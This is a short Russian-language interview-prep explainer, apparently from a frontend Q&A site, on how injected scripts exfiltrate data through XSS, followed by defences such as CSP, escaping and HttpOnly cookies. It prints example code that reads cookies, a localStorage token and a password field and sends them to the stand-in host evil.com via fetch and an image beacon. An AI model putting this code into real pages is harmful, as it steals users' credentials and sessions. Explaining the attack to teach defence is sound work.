Как вредоносный код может начать отправлять данные на сервисе?
Продвинутые темы
Вредоносный код может начать отправлять данные через XSS-уязвимость: внедрённый скрипт получает доступ к данным страницы (cookie, localStorage, ввод) и отправляет их на сервер злоумышленника.
Как это происходит
1. Внедрение через XSS
Если приложение выводит пользовательский ввод без экранирования, злоумышленник внедряет скрипт:
// Уязвимость: неэкранированный вывод
element.innerHTML = userInput; // <script>steal()</script>2. Кража данных
Внедрённый скрипт получает доступ к данным страницы:
// Вредоносный код
const stolen = {
cookies: document.cookie, // токены (если не HttpOnly)
storage: localStorage.getItem('token'),
input: document.querySelector('#password').value,
};3. Отправка на сервер злоумышленника
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(stolen),
});
// или через image beacon
new Image().src = `https://evil.com/?data=${encodeURIComponent(...)}`;Другие векторы
- Скомпрометированная зависимость (supply chain) — вредоносный npm-пакет.
- Сторонний скрипт (реклама, виджет) с доступом к странице.
Как защититься
- CSP —
connect-srcограничивает, куда можно слать запросы; блокирует внедрённые скрипты. - Экранирование ввода — предотвратить XSS.
- HttpOnly cookie — токены недоступны JS.
- Аудит зависимостей.
Коротко для собеседования
Вредоносный код обычно попадает через XSS (неэкранированный ввод) — внедрённый скрипт читает cookie, localStorage, поля ввода и отправляет их на сервер злоумышленника (fetch/image beacon). Также вектор — вредоносные зависимости/сторонние скрипты. Защита: экранирование (против XSS), CSP (connect-src ограничивает отправку), HttpOnly cookie, аудит зависимостей.